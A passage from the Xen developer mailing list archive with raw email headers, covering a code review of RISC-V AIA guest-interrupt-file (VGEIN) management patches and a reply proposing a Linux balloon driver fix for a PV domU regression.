 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <cover.1784560663.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1785165717-36CDFAE4-66BFDF97/0/0
X-purgate-type: clean
X-purgate-size: 5120

On 20.07.2026 18:01, Oleksii Kurochko wrote:
> Hi all,
> 
> This series adds the initial virtual interrupt controller (vINTC) support
> for RISC-V guests in Xen, based on the Advanced Interrupt Architecture
> (AIA): a virtual APLIC (vAPLIC) in MSI mode backed by a virtual IMSIC
> (vIMSIC) using hardware guest interrupt files.
> 
> Rather than emulating APLIC in direct-delivery mode (which requires
> trap-and-emulate for every interrupt and is costly), the series targets
> IMSIC from the start. AIA lets a hart implement several "guest interrupt
> files" (up to GEILEN), so external interrupts can be delivered to a vCPU
> directly by hardware via the VGEIN field of hstatus, without a hypervisor
> round-trip. Xen only has to emulate the APLIC MMIO programming interface
> and route the guest's intent onto the physical MSI topology; interrupt
> delivery itself stays in hardware.
> 
> The work breaks down into a few logical blocks:
> 
> Physical APLIC/AIA groundwork (patches 1-3)
>   - Correctly track IRQ_DISABLED across runtime enable/disable and order
>     the ->status update against the IMSIC CSR write.
>   - Per-pCPU VGEIN (guest interrupt file) allocator: assign/release a
>     hardware guest file to a vCPU and program hstatus.VGEIN.
>   - Add the missing APLIC register offsets/masks needed by both the
>     physical and virtual APLIC code (no functional change).
> 
> Device-agnostic MMIO dispatch + vAPLIC emulation (patches 4-5)
>   - A per-domain MMIO handler table modelled on Arm's framework, so
>     emulated devices self-register their GPA ranges and the fault path
>     stays agnostic via a single try_handle_mmio() entry point.
>   - vAPLIC MMIO read/write emulation. Writes are gated by the domain's
>     authorised-IRQ bitmap so a guest cannot touch interrupts it does not
>     own, and TARGET writes are translated from virtual to physical
>     hart/guest-file indices. Delegation (SOURCECFG.D) is not yet
>     supported.
> 
> vIMSIC guest interrupt files and state (patches 6-9)
>   - Stage-2 map a vCPU's physical guest interrupt file to the fixed
>     per-vCPU GPA page the guest expects at offset 0.
>   - vcpu_aia_init(): assign a VGEIN, map its guest file and record the
>     IMSIC state as a consistent unit.
>   - IMSIC state save/restore (currently tracking which pCPU owns the
>     guest file, needed because the pCPU id is part of the MSI address).
>   - has_msi_support() helper to decide whether IMSIC state has to be
>     saved/restored.
> 
> vINTC state save/restore plumbing (patches 10-11)
>   - vintc_state_{save,restore}() wrappers over new store/restore hooks in
>     struct vintc_ops, and the vAPLIC implementation of those hooks. No
>     callers are wired up yet; the context-switch calls arrive with vCPU
>     context switch support.
> 
> Trap and instruction emulation infrastructure (patches 12-17)
>   - Extend the exception-table format with type/data fields and add
>     EX_TYPE_TRAP_INFO so fixups can capture sepc/scause/stval.
>   - riscv_vcpu_unpriv_read() (HLV/HLVX) to read guest memory/instructions
>     safely, and riscv_vcpu_trap_redirect() to forward a synchronous trap
>     back into the guest's VS-mode handler.
>   - A guest page-fault handler that decodes the trapped load/store
>     instruction (HTINST, or an unprivileged fetch as a fallback) and
>     dispatches the MMIO access through try_handle_mmio().
> 
> Note on versioning: the series is posted as v1 as a freshly split-out
> series, but several patches carry v2/v3 changelogs because they were
> previously circulated as part of a larger another patches [1] from which the
> current depends.
> 
> CI tests: https://gitlab.com/xen-project/people/olkur/xen/-/pipelines/2690874319
> 
> [1] https://lore.kernel.org/xen-devel/cover.1784559209.git.oleksii.kurochko@gmail.com/T/#t
> 
> Oleksii Kurochko (17):
>   xen/riscv: manage IRQ_DISABLED flag in APLIC irq enable/disable
>     callbacks
>   xen/riscv: add basic VGEIN management for AIA guests
>   xen/riscv: add missing APLIC register offsets, masks to asm/aplic.h
>   xen/riscv: introduce device-agnostic MMIO emulation dispatch
>   xen/riscv: implement virtual APLIC MMIO emulation
>   xen/riscv: map IMSIC interrupt file for vCPUs
>   xen/riscv: introduce vCPU AIA initialization
>   xen/riscv: add IMSIC state save/restore
>   xen/riscv: add helper to check APLIC MSI mode
>   xen/riscv: introduce vintc_state_{save,restore}()
>   xen/riscv: add vAPLIC state save/restore hooks
>   xen/riscv: extend exception tables with type and data fields
>   xen/riscv: add unprivileged guest memory read helper
>   xen/riscv: add guest page fault handling stub
>   xen/riscv: implement trap redirection to a guest
>   xen/riscv: add guest load emulation for trapped MMIO accesses
>   xen/riscv: add guest store emulation for trapped MMIO accesses

Where did the last two patches go? My inbox agrees with [1] that only 15 of the
17 patches arrived.

Jan

[1] https://lists.xen.org/archives/html/xen-devel/2026-07/threads.html


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 15:42:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 15:42:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371782.1619252 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woNSl-00041x-Iq; Mon, 27 Jul 2026 15:41:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371782.1619252; Mon, 27 Jul 2026 15:41:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woNSl-00041q-GD; Mon, 27 Jul 2026 15:41:55 +0000
Received: by outflank-mailman (input) for mailman id 1371782;
 Mon, 27 Jul 2026 15:41:54 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woNSk-00041k-3C
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 15:41:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woNSj-000CI2-8j
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 17:41:53 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a677c16-e002-0a2a0a5209dd-0a2a450bc896-46
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:41:53 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a677c40-b7e8-0a2a450b0019-d155802bc9cd-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:41:53 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-493b966dd74so18081995e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 08:41:53 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45cbd09sm709215e9.10.2026.07.27.08.41.51
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 27 Jul 2026 08:41:52 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785166912; x=1785771712; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=vNJoMysnPfpiK8yoK1EwXQbE8HhvNEaBaVgn84LKaYE=;
        b=K2pZmxCeqOI47sjTSFlTSmLyjaeyej8bmPBqcPT7fj9jqHWb3JtmzJ/2u38me90bac
         0P29R+JbNedauyAk4wS+aa4zoouVS+DFWC5n4+amFhxfpXuN2GbPX4mzpdhWiMwFOOHz
         VFuboZdc2gTGrlseiVpXpQ0QtOa08KuCKQMHMC1eeDi6bJ67EUjKoLkeFkWyuQ5h+CeX
         GILB1frSnVU9WnqVPV80tSh3MDAPMLoizi1eDz3l51DbIcb2hr4QHvVqSVL6p22A0uhG
         /it1jJr2af3GPVQF47z1lpQrQBDsP1gex1d5ltcTG0oyE69zhSYsUp2rwX6kIbsCAweV
         Wo/g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785166912; x=1785771712;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=vNJoMysnPfpiK8yoK1EwXQbE8HhvNEaBaVgn84LKaYE=;
        b=WNsMjKMkC9USGaKcLam+jvv5siK7uTMQIJqHuj1NVqFhZfDKSUxmq6cISgiys06oV7
         82J+1BQBrdDX4CQnwsuLoVKF6bIuhMg2bU1QSUFwJRznm7QFWibaIX/b3kEg57cIvzY/
         BQVzQx2yspselH5c8Ji5C6w4IwwVHQqixGahEXnuBINA5OMgWHJg486pXbOhTnn55w1H
         l+qzWI8OpJ/p2Ed1qpMAkIh4JCfRIpgLANRuRTLwbJAYWuQ83BgFIm0E5DP2iCvMJJbW
         6P1N9gmCIjmx3srigi38Sx11e/NPtTqMna29eyLbuOA1grS/8G4Tj1dcvpZfMBDIFG40
         Us0A==
X-Forwarded-Encrypted: i=1; AHgh+Rq1dRHO5tgAbZAkLJ04XvKOwlCYX7z3oJiN5ePK4rYlJuRccLwHy3KfQBr/Is+lh/58AaIyal205ts=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzTXaXWyWyGKz1RvbyBdg0Uxsi7cXMlVww/9R8JDNFasBHdcPuD
	dToAoAInAWlkaIgFFSO1Kd+5M1eZy/C21cM/vLko1z3ECVBt0wqRSr/tKVQ19d1zxyK8/6V4NPr
	83NTyHA==
X-Gm-Gg: AR+sD11+P6lmQZ3bk6yn8RMu+EwaIYY2w6p8Hsi2fY04bjiPBMYUXrC/PL7o5OS7fUh
	qgQ7TiyUa9EeHSphOv66rUWJ23Yd0iTZDMTPnvFzJFEZ/T+prXDOnlCfTXukK53Z8ypywRbpGKU
	IM8oeAGjpuxmiIuJvUZYM8jQGSh1sRq6WCF0P0/lj2FNoedQVgg0kUONAEiehCrpJL3d2Yo0aZU
	OIYC2qjbXm2TIeIYkq2r94hSRvBN3Q/lbTIMqoAmcpG9Vx227/HkkjiyEKi5t7gxj+NuI/LHf0F
	yKSZDYa18T36F+kW4rz10w6CbpsA5+YpwMdpQ0Y1rYPHDFigXnw5ts6U7rBreHWDCODrAsUAoTi
	xUHJETPTfTZCh7ZaHheLutbSUdHeQVfNZSNVqkqJuYBFDsQxI4hvG/r5xo9OgrXr1FBllC8epC3
	fjTz/WArE59xok0lNG55QXXnQi2grBr1r45IDXJpQR3JyCLYgpvdR2Sanx6HdNOfa/4Q==
X-Received: by 2002:a05:600c:a0d:b0:495:5b02:23b0 with SMTP id 5b1f17b1804b1-496b571dd8fmr108833125e9.26.1785166912443;
        Mon, 27 Jul 2026 08:41:52 -0700 (PDT)
Message-ID: <6501f040-ea59-4e78-8854-030f786dbcf7@suse.com>
Date: Mon, 27 Jul 2026 17:41:51 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 02/17] xen/riscv: add basic VGEIN management for AIA
 guests
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <b141b8d976719bb9b76147cacfd5842fb7aac74e.1784560663.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <b141b8d976719bb9b76147cacfd5842fb7aac74e.1784560663.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785166913-1ACDF9EA-AAE05D9D/0/0
X-purgate-type: clean
X-purgate-size: 5992

On 20.07.2026 18:02, Oleksii Kurochko wrote:
> It was decided to add support for IMSIC from the start instead of having APLIC
> operate in direct delivery mode, as it requires a trap-and-emulation approach,
> which is not optimal from a performance standpoint.
> 
> AIA provides a hardware-accelerated mechanism for delivering external
> interrupts to domains via "guest interrupt files" located in IMSIC.
> A single physical hart can implement multiple such files (up to GEILEN),
> allowing several virtual harts to receive interrupts directly from hardware.
> 
> Introduce per-CPU tracking of guest interrupt file identifiers (VGEIN)
> for systems implementing AIA specification. Each CPU maintains
> a bitmap describing which guest interrupt files are currently in use.
> 
> Add helpers to initialize the bitmap based on the number of available
> guest interrupt files (GEILEN), assign a VGEIN to a vCPU, and release it
> when no longer needed. When assigning a VGEIN, the corresponding value
> is written to the VGEIN field of the guest hstatus register so that
> VS-level external interrupts are delivered from the selected interrupt
> file.

And when exactly is this "assignment" intended to occur? vgein_assign() and
vgein_release() have no callers here, so this remains entirely unclear.

> @@ -14,10 +36,133 @@ bool aia_usable(void)
>      return _aia_usable;
>  }
>  
> +static int vgein_init(unsigned int cpu)
> +{
> +    struct vgein_ctrl *vgein = &per_cpu(vgein, cpu);
> +
> +    csr_write(CSR_HGEIE, -1UL);
> +    vgein->geilen = flsl(csr_read(CSR_HGEIE) >> 1);
> +    csr_write(CSR_HGEIE, 0);
> +
> +    printk("cpu%u.geilen=%u\n", cpu, vgein->geilen);

At most dprintk(), I'd say. Better drop altogether.

> +    if ( !vgein->geilen )
> +        return -EOPNOTSUPP;
> +
> +    vgein->owners = xvzalloc_array(struct vcpu *, vgein->geilen);
> +    if ( !vgein->owners )
> +        return -ENOMEM;
> +
> +    spin_lock_init(&vgein->lock);
> +
> +    return 0;
> +}
> +
> +static int cf_check cpu_callback(struct notifier_block *nfb, unsigned long action,

Nit: Line length.

> +                        void *hcpu)

Nit: Indentation.

> +{
> +    unsigned int cpu = (unsigned long)hcpu;
> +    int rc = 0;
> +
> +    switch ( action )
> +    {
> +    case CPU_STARTING:
> +        rc = vgein_init(cpu);
> +        if ( rc )
> +            printk("AIA: failed to init vgein for CPU%u\n", cpu);
> +        break;
> +    }
> +
> +    return notifier_from_errno(rc);
> +}

Where's the freeing of the allocation vgein_init(), when CPU bringup fails
or a CPU was brought down?

> +static struct notifier_block cpu_nfb = {
> +    .notifier_call = cpu_callback,
> +};
> +
>  void __init aia_init(void)
>  {
> +    int rc;
> +
>      if ( !riscv_isa_extension_available(NULL, RISCV_ISA_EXT_ssaia) )
> +    {
> +        dprintk(XENLOG_WARNING, "SSAIA isn't present in riscv,isa\n");
>          return;
> +    }
> +
> +    if ( (rc = vgein_init(0)) )
> +    {
> +        dprintk(XENLOG_ERR, "vgein_init() failed: %d\n", rc);
> +        return;
> +    }
>  
>      _aia_usable = true;
> +
> +    register_cpu_notifier(&cpu_nfb);
> +}
> +
> +unsigned int vgein_assign(struct vcpu *v)
> +{
> +    unsigned int vgein_id;
> +    struct vgein_ctrl *vgein = &per_cpu(vgein, v->processor);
> +    unsigned long *bmp = &vgein->bmp;
> +    unsigned long flags;
> +
> +    if ( !vgein->geilen )
> +        return 0;
> +
> +    spin_lock_irqsave(&vgein->lock, flags);

Because it's unclear where this is to be called from, it's also unclear whether
a lock is needed here (and if so whether a plain spin lock is appropriate).

> +    /*
> +     * The vgein_id shouldn't be zero, as it will indicate that no guest
> +     * external interrupt source is selected for VS-level external interrupts
> +     * according to RISC-V privileged spec:
> +     *   Hypervisor Status Register (hstatus) in RISC-V privileged spec:
> +     *
> +     *   The VGEIN (Virtual Guest External Interrupt Number) field selects
> +     *   a guest external interrupt source for VS-level external interrupts.
> +     *   VGEIN is a WLRL field that must be able to hold values between zero
> +     *   and the maximum guest external interrupt number (known as GEILEN),
> +     *   inclusive.
> +     *   When VGEIN=0, no guest external interrupt source is selected for
> +     *   VS-level external interrupts.
> +     *
> +     * So start to search from bit number 1.
> +     */
> +    vgein_id = find_next_zero_bit(bmp, vgein->geilen + 1, 1);
> +
> +    if ( vgein_id > vgein->geilen )
> +        vgein_id = 0;
> +    else
> +    {
> +        __set_bit(vgein_id, bmp);
> +        vgein->owners[vgein_id] = v;

Again somewhat related to is being unclear how the function is going to be used,
it also remains unclear what ->owners[] is going to be needed for. Right now the
array is only ever written to.

> +    }
> +
> +    spin_unlock_irqrestore(&vgein->lock, flags);
> +
> +#ifdef VGEIN_DEBUG
> +    gprintk(XENLOG_DEBUG, "%s: %pv: vgein_id(%u), xen_cpu%u_bmp=%#lx\n",
> +           __func__, v, vgein_id, v->processor, *bmp);
> +#endif
> +
> +    return vgein_id;
> +}
> +
> +void vgein_release(struct vcpu *v, unsigned int vgein_id)
> +{
> +    unsigned long flags;
> +    struct vgein_ctrl *vgein = &per_cpu(vgein, v->processor);
> +
> +    if ( !vgein_id )
> +        return;
> +
> +    spin_lock_irqsave(&vgein->lock, flags);
> +    __clear_bit(vgein_id, &vgein->bmp);
> +    vgein->owners[vgein_id] = NULL;

If already you track the vCPU, also assert that prior to clearing the array
slot it has the expected value? For the bit being cleared, maybe also

    if ( !__test_and_clear_bit(vgein_id, &vgein->bmp) )
        ASSERT_UNREACHABLE();

? Yet as said - much remains unclear without knowing how all of this is
meant to be used.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:51:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:51:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371817.1619261 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOY1-0006uy-3h; Mon, 27 Jul 2026 16:51:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371817.1619261; Mon, 27 Jul 2026 16:51:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOY1-0006ur-0S; Mon, 27 Jul 2026 16:51:25 +0000
Received: by outflank-mailman (input) for mailman id 1371817;
 Mon, 27 Jul 2026 16:51:23 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1woOXz-0006ul-S9
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:51:23 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1woOXx-00BgNb-1r;
 Mon, 27 Jul 2026 16:51:21 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1woOXw-00FxMZ-3B;
 Mon, 27 Jul 2026 16:51:21 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Date: Mon, 27 Jul 2026 18:51:15 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
To: Thorsten Leemhuis <regressions@leemhuis.info>
Cc: Juergen Gross <jgross@suse.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Linux kernel regressions list <regressions@lists.linux.dev>,
	yannick.martin+kernelorg@okazoo.eu
Subject: Re: [regression] Bug 221745 - PV DomU ballooning driver init issue
Message-ID: <ameMgwuUIhZbslHh@macbook.local>
References: <f7fe5959-f0c6-430c-8404-927d7944c836@leemhuis.info>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <f7fe5959-f0c6-430c-8404-927d7944c836@leemhuis.info>

On Mon, Jul 27, 2026 at 10:42:25AM +0200, Thorsten Leemhuis wrote:
> Hi Roger! FYI, it seems your change 0949c646d64697 ("Partial revert
> "x86/xen: fix balloon target initialization for PVH dom0"") [v7.0-rc1]
> caued a regression. For details see
> https://bugzilla.kernel.org/show_bug.cgi?id=221745
> 
> To quote the initial comment:
> 
> > Since commit db8c4b1 (Partial revert "x86/xen: fix balloon target initialization for PVH dom0"), xen ballooning fails to init correctly on domU (on amd64 arch) with the following configuration:
> > 
> > -- xl.cfg
> > ...
> > memory      = '2048'
> > maxmem      = '4096'
> > ...
> > --
> > 
> > -- domU balloon dmesg (init fails)
> > [    0.908337] xen:balloon: Initialising balloon driver
> > [    0.940721] Extra pages underflow current target

Yeah, I'm afraid the original fix commit didn't fully fix the issues,
so there's the following change (chunk below) that's needed
additionally to cope with memory != maxmem on PV guests.

I've done some basic testing and it seems to solve the issue, could
you give it a spin also?  (just to make sure I'm not missing anything
else).

Thanks, Roger.
---
diff --git a/drivers/xen/balloon.c b/drivers/xen/balloon.c
index e7f1d4ca6d75..c20a1ff8292d 100644
--- a/drivers/xen/balloon.c
+++ b/drivers/xen/balloon.c
@@ -703,19 +703,26 @@ static int __init balloon_add_regions(void)
 			balloon_append(pfn_to_page(pfn));
 
 		/*
-		 * Extra regions are accounted for in the physmap, but need
-		 * decreasing from current_pages and target_pages to balloon
-		 * down the initial allocation, because they are already
-		 * accounted for in total_pages.
+		 * For HVM domains: extra regions are accounted for in the
+		 * physmap, but need decreasing from current_pages and
+		 * target_pages to balloon down the initial allocation, because
+		 * they are already accounted for in total_pages.
+		 *
+		 * For PV domains: extra regions are not accounted for in the
+		 * initial memory target, and hence need adding to the stats as
+		 * additional unpopulated regions.
 		 */
 		pages = extra_pfn_end - start_pfn;
-		if (pages >= balloon_stats.current_pages ||
